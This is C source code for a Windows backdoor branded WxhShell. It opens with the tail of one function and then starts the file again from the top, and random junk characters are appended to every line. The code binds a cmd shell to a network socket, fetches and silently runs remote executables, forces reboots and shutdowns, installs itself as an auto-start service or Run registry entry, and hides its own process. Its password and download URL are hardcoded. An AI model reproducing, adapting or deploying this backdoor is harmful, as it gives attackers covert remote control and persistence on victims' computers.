    closesocket(wsh); \\\%pBT7]\  
    ExitThread(0); $JH_  
    } #0yU K5J  
    break; K0681_bp  
    } K,pQ11J  
  // 关机 Q?e]N I^  
  case 'd': { Xi^#F;@sU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y]dA<d?u  
    if(Boot(SHUTDOWN)) lRIS&9vA3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6rBXC <Z  
    else { #;l~Y}7'  
    closesocket(wsh); 9d4Agj M  
    ExitThread(0); *|Cmm>z"7  
    } :?LUv:G  
    break; Ne6]?\Z  
    } !1g2'  
  // 获取shell <,r(^Ntz  
  case 's': { G}MJWf Hl  
    CmdShell(wsh); l$j/Ye]  
    closesocket(wsh); zUw=e}?:  
    ExitThread(0); IaDN[:SX  
    break; z%$,F9/  
  } h]|E,!H  
  // 退出 >P@JiR<@\n  
  case 'x': { ^o`;C\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *b< a@  
    CloseIt(wsh); )0RznFJ+X  
    break; BQ\o?={  
    } P, (#' W  
  // 离开 P5vxQR_*lc  
  case 'q': { :cx}I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @Yv+L)  
    closesocket(wsh); *3,Kn}ik  
    WSACleanup(); fT:a{  
    exit(1); #M9rt ~4  
    break; wOhiC$E46  
        } s<}d)L(  
  } @vy {Q7aM  
  } z?9vbx  
 BKiyog  
  // 提示信息 F_Pv\?35z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g;|3n&  
} U{^~X_?  
  } Iuh1tcc  
_trF/U<  
  return; X>0$zE@0  
} 2swHJ.d\  
4P1<Zi+<  
// shell模块句柄 epWTZV(1x  
int CmdShell(SOCKET sock) H)eecH$K  
{ p2(U'x c  
STARTUPINFO si; [;rty<Z^b  
ZeroMemory(&si,sizeof(si)); nPAVrDg O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g~>g])  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dIQxU  
PROCESS_INFORMATION ProcessInfo; , [V#o-Z  
char cmdline[]="cmd"; %xa.{`}`U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GI]sE]tZ  
  return 0; XOk0_[  
} x/Nh9hh"  
]HpKDb0+  
// 自身启动模式 HAkEJgV  
int StartFromService(void) nE4?oq  
{ V l,V  
typedef struct i4',d#  
{ {C% #r@6  
  DWORD ExitStatus; >EMsBX  
  DWORD PebBaseAddress; `7f><p/q  
  DWORD AffinityMask; !9w;2Z]uum  
  DWORD BasePriority; f&z@J,_=  
  ULONG UniqueProcessId; 6}Iu~| 5  
  ULONG InheritedFromUniqueProcessId; Y? 1 3_~ K  
}   PROCESS_BASIC_INFORMATION; o$S/EZ  
fj/sN HU  
PROCNTQSIP NtQueryInformationProcess; X=sC8Edx  
zc}qAy'<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \.@fAgv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^oL43#Nlo  
`{1&*4!  
  HANDLE             hProcess; U\crp T`  
  PROCESS_BASIC_INFORMATION pbi; aJQx"6 c?  
Z#J cN quM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~+JE l%  
  if(NULL == hInst ) return 0; XAn{xN pz  
ucVWvXCr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R<5GG|(B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zOkIPv52~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  H[cHF  
 D8w:c6b  
  if (!NtQueryInformationProcess) return 0; u$3wdZ2&m  
2 /rDi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $p(,Qz(.8  
  if(!hProcess) return 0; FuA8vTV{  
y([""z3<w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H 3e(-  
\`nRgY SE  
  CloseHandle(hProcess); Q|!}&=  
#/UlW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); APfDy  
if(hProcess==NULL) return 0; ^KKU@ab9  
qtqTLl@u  
HMODULE hMod; )_MIUQ%  
char procName[255]; =LFrV9  
unsigned long cbNeeded; Z#2AK63/T  
0v~Eu>Rg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vP_V%5~yN  
/SXms'C  
  CloseHandle(hProcess); L\:f#b~W  
lzKJy  
if(strstr(procName,"services")) return 1; // 以服务启动 B/iRR2h  
^KBE2C  
  return 0; // 注册表启动 zW,Nv>Ac5  
} %(9BWO  
wFgL\[$^|  
// 主模块 i8]2y  
int StartWxhshell(LPSTR lpCmdLine) wR x5` @  
{ 3?}W0dZ$d  
  SOCKET wsl; X5(S+;v"^  
BOOL val=TRUE; r]C`#  
  int port=0; l7.W2mg  
  struct sockaddr_in door; Eyv|~D  
&TpzJcd"  
  if(wscfg.ws_autoins) Install(); A3\%t@y  
fP6]z y^ *  
port=atoi(lpCmdLine); &oA p[]  
,>DaS(  
if(port<=0) port=wscfg.ws_port; SM<kR1bo  
r*n_#&-7  
  WSADATA data; :3FJe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qkM<t?uS  
k Xs&k8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bIX'|=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YivWvV  
  door.sin_family = AF_INET; Ar+<n 2;[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]<V,5'xh  
  door.sin_port = htons(port); ,%|$# g 0  
r N"P IH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L$ nFRl&  
closesocket(wsl); "8bxb  
return 1; l&]Wyaz@n  
} ,P?R 3  
?89ZnH2/  
  if(listen(wsl,2) == INVALID_SOCKET) { vYYLn9}5  
closesocket(wsl); :6,qp?/  
return 1; W?(^|<W  
} Fu K(SP3  
  Wxhshell(wsl); ";)SA,Z  
  WSACleanup(); D^ E+#a 1  
""j(wUp-W  
return 0; >=|;2*9v  
?z:Xdx\l  
} ,| \62B`  
c{iF  
// 以NT服务方式启动 $WOiXLyCk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DwQa j"1<%  
{ vd4}b>  
DWORD   status = 0; tRqg')y  
  DWORD   specificError = 0xfffffff; 2n9E:tc  
<lx~/3<m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [M^ur%H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `=]I -5#.W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *-!&5~o/U  
  serviceStatus.dwWin32ExitCode     = 0; rA*"22v=  
  serviceStatus.dwServiceSpecificExitCode = 0; oNgu- &  
  serviceStatus.dwCheckPoint       = 0; {kLL&`ii  
  serviceStatus.dwWaitHint       = 0; ?c vXuxCm  
&DqeO8?Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _ ]W }6?i  
  if (hServiceStatusHandle==0) return; { .z6J)?J2  
=Yxu {]G  
status = GetLastError(); ]t69a4&,#9  
  if (status!=NO_ERROR) (Ea)`'/  
{ (z[|\6O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;K'1dsA  
    serviceStatus.dwCheckPoint       = 0; bd n{Y  
    serviceStatus.dwWaitHint       = 0; y=L9E?  
    serviceStatus.dwWin32ExitCode     = status; H:~41f[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q~5!c#r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cq7EdK;x  
    return; 'xO^2m+N;  
  } Vx]{<}(gr  
94=aVM\>>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }v'jFIkhI  
  serviceStatus.dwCheckPoint       = 0; (5l5@MN  
  serviceStatus.dwWaitHint       = 0; 0FDfB;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a\wpJ|3{=T  
} u 1?1x  
I b)>M`J  
// 处理NT服务事件,比如:启动、停止 Ha~g8R&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7p}.r J54  
{ uZyR{~-C  
switch(fdwControl) VfJbexYT  
{ N XwQvm;q  
case SERVICE_CONTROL_STOP: GC{)3)_ t  
  serviceStatus.dwWin32ExitCode = 0; 0 ]v:Ix  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; erG;M!9\  
  serviceStatus.dwCheckPoint   = 0; );LkEXC_'  
  serviceStatus.dwWaitHint     = 0; uT5sLpA|6  
  { UMg*Yv%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AZmABl  
  } Bn7~p+N  
  return; VQ{.Ls2`Z  
case SERVICE_CONTROL_PAUSE: =6mnXpM.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >L#HE  
  break; ToUeXU [  
case SERVICE_CONTROL_CONTINUE: `Gl@?9,i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RH,1U3?  
  break; p,y(Fc~]g'  
case SERVICE_CONTROL_INTERROGATE: R<}Yf[TQ  
  break; |%F[.9Dp  
}; U]!D=+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t83n`LC  
} 8:j8>K*6  
E(i<3U"4h[  
// 标准应用程序主函数 N'L3Oa\%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K-$gTV  
{ l \=M'D  
LB<,(dyh  
// 获取操作系统版本 l vuoVINEp  
OsIsNt=GetOsVer(); 4uU G0o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H];QDix?  
yNk9KK)  
  // 从命令行安装 .Dw^'p>  
  if(strpbrk(lpCmdLine,"iI")) Install(); =K<8X!xUW  
J$)lYSNE  
  // 下载执行文件 qb+vptg@I  
if(wscfg.ws_downexe) { Fe(qf>E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5feCA ,v7  
  WinExec(wscfg.ws_filenam,SW_HIDE); R3]Ra&h6N)  
} hWGCYkuW  
,UFr??ZKm  
if(!OsIsNt) { ^L&hwXAO:  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y4PB&pZ$O2  
HideProc(); iJg3`1@j  
StartWxhshell(lpCmdLine); :Mss"L820  
} Q3Sw W  
else q]%c 6{w  
  if(StartFromService()) 8$fiq}a  
  // 以服务方式启动 6?U2Et  
  StartServiceCtrlDispatcher(DispatchTable); .P[ %t=W  
else "{0 o"k  
  // 普通方式启动 p[*NekE6-  
  StartWxhshell(lpCmdLine); +tz^ &(  
0&1!9-(d  
return 0; lNSB "S  
} hP4*S^l  
G]fl33_}l  
lx<]v^  
X@u-n_  
=========================================== $I%75IZ  
Ku{DdiTg>  
L]o 5=K  
?XVJ$nzW  
gB!K{ Io'  
m: 77pE&o  
" @g*=xwve=~  
f`X#1w9  
#include <stdio.h> &xF 2!t`  
#include <string.h> dU]>  
#include <windows.h> P=K+!3ZXo  
#include <winsock2.h> A*I mruV  
#include <winsvc.h> .!kqIx*3  
#include <urlmon.h> |okS7.|IX  
,c:Fa)-  
#pragma comment (lib, "Ws2_32.lib") 0z g\thL  
#pragma comment (lib, "urlmon.lib") '|r('CIBN/  
CqVh9M.ah  
#define MAX_USER   100 // 最大客户端连接数 T,h,)|:I^  
#define BUF_SOCK   200 // sock buffer P7n+@ L$  
#define KEY_BUFF   255 // 输入 buffer |qS<{WZ!h  
J7R+|GTcx  
#define REBOOT     0   // 重启 :F:<{]oG_  
#define SHUTDOWN   1   // 关机 ms'!E)  
9?)r0`:#  
#define DEF_PORT   5000 // 监听端口 <$s G]l!\  
fL7ym,?  
#define REG_LEN     16   // 注册表键长度 ZFy>Z:&S,  
#define SVC_LEN     80   // NT服务名长度 1!RD kZw e  
dA<PQKm  
// 从dll定义API {q2H_H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s1XW}Dw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /i+8b(x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +%%FT#ce  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NQ$tQ#chd  
/IM5#M5~  
// wxhshell配置信息 OiAi{ 71  
struct WSCFG { ~y{(&7sM  
  int ws_port;         // 监听端口 CUOxx,V  
  char ws_passstr[REG_LEN]; // 口令 7kM_Ijd$  
  int ws_autoins;       // 安装标记, 1=yes 0=no J;Az0[qMR  
  char ws_regname[REG_LEN]; // 注册表键名 #2c-@),  
  char ws_svcname[REG_LEN]; // 服务名 5-|fp(Ww_W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qci<cVgP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FJ3Xeo s4|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $l:?(&u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $smzP.V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &$fe%1#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F"9f6<ge  
)J+vmY~&  
}; 7 \aLK#  
9viQ<}K<  
// default Wxhshell configuration T`46\KkN  
struct WSCFG wscfg={DEF_PORT, uY;-x~Z  
    "xuhuanlingzhe", 7SE=otZ>  
    1, 7>EjP&l  
    "Wxhshell",  m?hC!n>  
    "Wxhshell", =)C}u6  
            "WxhShell Service", ( q^umw  
    "Wrsky Windows CmdShell Service", W`] ,  
    "Please Input Your Password: ", 8Pklw^k   
  1, RRy3N )HR  
  "http://www.wrsky.com/wxhshell.exe", Fs7/3  
  "Wxhshell.exe" >G<AyS&z*  
    }; 6vz9r)L  
@*W,Jm3Y  
// 消息定义模块 :g/HN9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `zAo IQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j3F[C:-zY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]* -9zo0  
char *msg_ws_ext="\n\rExit."; -\yaP8V  
char *msg_ws_end="\n\rQuit."; [Dp6q~RM  
char *msg_ws_boot="\n\rReboot..."; Y[x9c0  
char *msg_ws_poff="\n\rShutdown..."; ['m@RJm+  
char *msg_ws_down="\n\rSave to "; W&y%fd\&3  
VA_\Z  
char *msg_ws_err="\n\rErr!"; w5|az6wZB!  
char *msg_ws_ok="\n\rOK!"; d|5u<f5  
/EhojODMF  
char ExeFile[MAX_PATH]; <'QH e4  
int nUser = 0; Dm6WSp1|b  
HANDLE handles[MAX_USER]; Bsw5A7,-  
int OsIsNt; 94"R&|  
~DcX}VCm  
SERVICE_STATUS       serviceStatus; o<locZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UT$G?D";M  
tsq]QTA*  
// 函数声明 ^<xpp.eY  
int Install(void); \}t(g}7T  
int Uninstall(void); `bO+3Y'5  
int DownloadFile(char *sURL, SOCKET wsh); Ps0'WRJnx  
int Boot(int flag); ]c8lZO>  
void HideProc(void); 0Z#&!xTb  
int GetOsVer(void); 3/o-\wWO  
int Wxhshell(SOCKET wsl); sj003jeko  
void TalkWithClient(void *cs); rixNz@p'%  
int CmdShell(SOCKET sock); ~q#UH'=%  
int StartFromService(void); zLue j'  
int StartWxhshell(LPSTR lpCmdLine); @Y*ONnl  
 3+"z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3.B|uN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z= vfP%  
d$g-u8  
// 数据结构和表定义 \(jSkrrD  
SERVICE_TABLE_ENTRY DispatchTable[] = MTBN&4[  
{ ?G+v#?A  
{wscfg.ws_svcname, NTServiceMain}, T>d-f=(9KH  
{NULL, NULL} u!mUUFl  
}; :<Y,^V(  
T<~NB5&f  
// 自我安装 #)_4$<P*'  
int Install(void) _OP75kv  
{ h9LA&!  
  char svExeFile[MAX_PATH]; erYpeq.  
  HKEY key; )Z0pU\  
  strcpy(svExeFile,ExeFile);  V3K  
r8+{HknB;  
// 如果是win9x系统,修改注册表设为自启动 ~j",ePl  
if(!OsIsNt) { LnvC{#TFO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s$J0^8Q~i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JC}y{R8  
  RegCloseKey(key); jR\&2;T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OOs Y{8xM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $d%m%SZxv  
  RegCloseKey(key); G$:T!  
  return 0; Rer\='  
    } UyBI;k^]  
  } W"YFx*W  
} uG&xtN8  
else { 8a|p`)lT  
s2riayM9/  
// 如果是NT以上系统,安装为系统服务 XKLkJZN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [GZ%K`wx  
if (schSCManager!=0) n  !]_o  
{ QRhR.:M\  
  SC_HANDLE schService = CreateService bNp RGhlV  
  ( |/[?]`  
  schSCManager, j%Y`2Ra  
  wscfg.ws_svcname, V9NE kS  
  wscfg.ws_svcdisp, & ,2XrXiFu  
  SERVICE_ALL_ACCESS, 6<.Ma7)lA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i[H`u,%+(  
  SERVICE_AUTO_START, [2~Et+r6g  
  SERVICE_ERROR_NORMAL, *xA&t)z(i  
  svExeFile, R @b[o7/  
  NULL, WE 'afxgV  
  NULL, ^aN;M\  
  NULL, ?SRG;G1  
  NULL, K/KZ}PI-O  
  NULL 6:i{_YX(.S  
  ); QNJ )HNLp  
  if (schService!=0) _C DUUr  
  { ]6Kx0mW  
  CloseServiceHandle(schService); +rfw)c'  
  CloseServiceHandle(schSCManager); )t{?7wy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L0Bcx|)"$`  
  strcat(svExeFile,wscfg.ws_svcname); h)7{Cj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;'NB6[x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~[e;{45V  
  RegCloseKey(key); qk{2%,u$@{  
  return 0; |E&a3TQW  
    } sL75C|f9  
  } ^C^FxIA&  
  CloseServiceHandle(schSCManager); <5rp$AzT  
} 6MvjNbQ  
} 7RM$%'n \  
h7f&7v  
return 1; k?3NF:Yy7  
} d4t %/Uh  
}&Ngh4/  
// 自我卸载 }p$>V,u  
int Uninstall(void) q asbK:}  
{ !#` .Mv Z  
  HKEY key; py VTA1  
I9rWut@+  
if(!OsIsNt) { wO/}4>\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { URdCV{@42  
  RegDeleteValue(key,wscfg.ws_regname); BZP}0  
  RegCloseKey(key); pZUckQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n=WwB(}q  
  RegDeleteValue(key,wscfg.ws_regname); <SGO+1zt p  
  RegCloseKey(key); O{SP4|0JV  
  return 0; c+,F)i^`  
  } pSvRyb.K  
} /J )MW{;O  
} b(+M/O>I  
else { "bZ%1)+  
4qXO8T#~J=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K?o( zh;  
if (schSCManager!=0) rrbD0UzFA  
{ ZpvURp,I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GM=r{F &  
  if (schService!=0) SDt)|s  
  { F9p'|-   
  if(DeleteService(schService)!=0) { s9+Rq*Qd  
  CloseServiceHandle(schService); 4<[,"<G~3  
  CloseServiceHandle(schSCManager); ?-%Q[W  
  return 0; L|pMq!@J  
  } 5&Al  
  CloseServiceHandle(schService); "7}bU_":s  
  } `ECT8  
  CloseServiceHandle(schSCManager); ZmeSm& hQ_  
} _rt+OzZ*L  
} b5lZ||W.  
k=!lPIx  
return 1; s :ig;zb  
} ~Gm<F .(+  
 BC*62m  
// 从指定url下载文件 o~<Xc  
int DownloadFile(char *sURL, SOCKET wsh) CC&opC  
{ kqy d3Si>  
  HRESULT hr; "`HkAW4GZa  
char seps[]= "/"; #0>??]&r  
char *token; g<U\7Vp\1  
char *file; "g27|e?y  
char myURL[MAX_PATH]; zGgPW  
char myFILE[MAX_PATH]; -!i1xR (;h  
HR'sMu3  
strcpy(myURL,sURL); P t< JF  
  token=strtok(myURL,seps); PJ}d-   
  while(token!=NULL) 8 p D$/  
  { `t[b0; 'OH  
    file=token; 0x BO5[w,Y  
  token=strtok(NULL,seps); -#@l`kt  
  } Io_bS+  
8'XAZSd(  
GetCurrentDirectory(MAX_PATH,myFILE); -wn ,7;  
strcat(myFILE, "\\"); ^f6p w!  
strcat(myFILE, file); ov;1=M~RF  
  send(wsh,myFILE,strlen(myFILE),0); mD@*vq  
send(wsh,"...",3,0); r{\c. \  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R(p`H}^  
  if(hr==S_OK) TL u+5f  
return 0; ;IyA"C(i  
else En!X}Owh  
return 1; }@6Tcn1  
D!7-(3R  
} 6[+@#IWx  
@7S* ]  
// 系统电源模块 qFQO1"mu  
int Boot(int flag) bmCp:6  
{ m8[XA!,  
  HANDLE hToken; xf2|9Tqt  
  TOKEN_PRIVILEGES tkp; FgwIOpqE*  
$[f-{B{>*  
  if(OsIsNt) { 7slpj8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cp"a,%b6u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7)Cn 4{B6  
    tkp.PrivilegeCount = 1; hK]mnA[Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %lsRj)n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7:/gO~g I  
if(flag==REBOOT) { <|-da&7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T)c<tIr6  
  return 0; ,J;Cb}  
} @!'rsPrI  
else { a4d7;~tZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6LRvl6ik  
  return 0; SG$V%z"e  
} m3T=x =  
  } _c!$K#Yl{  
  else { xP{)+$n  
if(flag==REBOOT) { t;HM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LNNwy:_ !  
  return 0; XXD LbT'J  
} XrUc`  
else { [L m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r>ziQq8C&  
  return 0; X!xmto  
} gN@|lHbU  
} k~%j"%OB  
wK]p`:3  
return 1; {,+{,Ere  
} 8sus$:Ry  
_DouVv>  
// win9x进程隐藏模块 Q{[l1:  
void HideProc(void) 6 2:FlW>  
{ !jWE^@P/B  
s$gR;su)g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xb<>AzEM  
  if ( hKernel != NULL ) 7Is:hx|:  
  { ]9 $iUA%Ef  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a^o'KN{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -I ?8\  
    FreeLibrary(hKernel); I+{2DY/}  
  } WQ+ xS!ba  
 CK+t6Gp  
return; xlcL;e&^P  
} x^zw1e,y  
;\g0* b(  
// 获取操作系统版本 "5HSCl$r%  
int GetOsVer(void) oRZ98?Y\B  
{ "wy2u~  
  OSVERSIONINFO winfo; j:2TicHDC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s_;o1 K0  
  GetVersionEx(&winfo); k{F]^VXQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B#DnU;=O#+  
  return 1; (kTu6t*  
  else 0%<OwA2d  
  return 0; 6H1;Hl f  
} nIr:a|}[  
=Y-.=}jp;  
// 客户端句柄模块 5OCt Q4u  
int Wxhshell(SOCKET wsl) $b~[>S-Q  
{ XL[Dmu&  
  SOCKET wsh; ]Z nASlc)  
  struct sockaddr_in client; P$x9Z3d_  
  DWORD myID; Jmuyd\?,b  
h% eGtd$n  
  while(nUser<MAX_USER) I&U.5wf  
{ @<.ei)cqb  
  int nSize=sizeof(client); L} "bp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u69UUkG  
  if(wsh==INVALID_SOCKET) return 1; {/j gB"9  
R<B5<!+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); esiU._:u  
if(handles[nUser]==0) jF-:e;-  
  closesocket(wsh); 9}wI@  
else 43 vF(<r&f  
  nUser++; ..kFn!5(g  
  } +MZI\>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D;&\)  
G^sx/H76J  
  return 0; Xs{PAS0  
} _7z]zy@PC5  
{O:{F?  
// 关闭 socket aGd wuD  
void CloseIt(SOCKET wsh) j 1;<3)%0  
{ f^-ot@w  
closesocket(wsh); >F>VlRg  
nUser--; km*Y#`{  
ExitThread(0); KL6B!B{;  
} 2!6E~<~HC  
d>?C?F  
// 客户端请求句柄 9Fy 'L#%  
void TalkWithClient(void *cs) le' Kp V  
{ OwT_W)$  
A=0{}B#  
  SOCKET wsh=(SOCKET)cs; Y7zs)W8xTT  
  char pwd[SVC_LEN]; l$Vy\CfK3n  
  char cmd[KEY_BUFF]; xL*J9&~iG  
char chr[1]; >$tU @mq  
int i,j; H C=ZcK'W  
02tt.0go  
  while (nUser < MAX_USER) { Wco2i m  
*MS$C$HOq  
if(wscfg.ws_passstr) { r.'xqzF/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ x .`z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ; Xf1BG r  
  //ZeroMemory(pwd,KEY_BUFF); c`/VYgcTqB  
      i=0; soLW'8  
  while(i<SVC_LEN) { q9dplEe5  
{i+ o'Lw  
  // 设置超时 s= ]NKJaQH  
  fd_set FdRead; ?=LT ^Zp`  
  struct timeval TimeOut; { "M2V+ep  
  FD_ZERO(&FdRead); 41]a{A7q  
  FD_SET(wsh,&FdRead); o l41%q*  
  TimeOut.tv_sec=8; '}9 Nvr)+  
  TimeOut.tv_usec=0; 7H09\g&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {?Nm"#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }`2a>N: &  
Z;V(YK(WO.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {_-T!yb  
  pwd=chr[0]; ">G*hS  
  if(chr[0]==0xd || chr[0]==0xa) { t=X=",)f  
  pwd=0; HE35QH@/`  
  break; nw\C+1F  
  } }AA">FF'y4  
  i++; %*szB$ [3  
    } L}CU"  
8{=|<  
  // 如果是非法用户,关闭 socket (6B;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %.hJDX\j  
} up+0-!AH  
dOKp:|9G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <{k`K[)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZG 0^O"B0  
6}m`_d?  
while(1) { =^GPQ_"  
z\oTuW*B  
  ZeroMemory(cmd,KEY_BUFF); kc0MQ TJU  
Pn^`_  
      // 自动支持客户端 telnet标准   sQ340!  
  j=0; aoZ| @x  
  while(j<KEY_BUFF) { m5iCvOP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M 9-Q  
  cmd[j]=chr[0]; :A z lls  
  if(chr[0]==0xa || chr[0]==0xd) { aXQS0>G%(  
  cmd[j]=0; S't9F  
  break; dVYY:1PS  
  } $K!Jm7O\  
  j++; -yB}(69  
    } xh bN=L  
'5 Yzo^R;  
  // 下载文件 f*<Vq:N=\  
  if(strstr(cmd,"http://")) { 1&! i:F#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "D8WdV(  
  if(DownloadFile(cmd,wsh)) r :$tvT*  
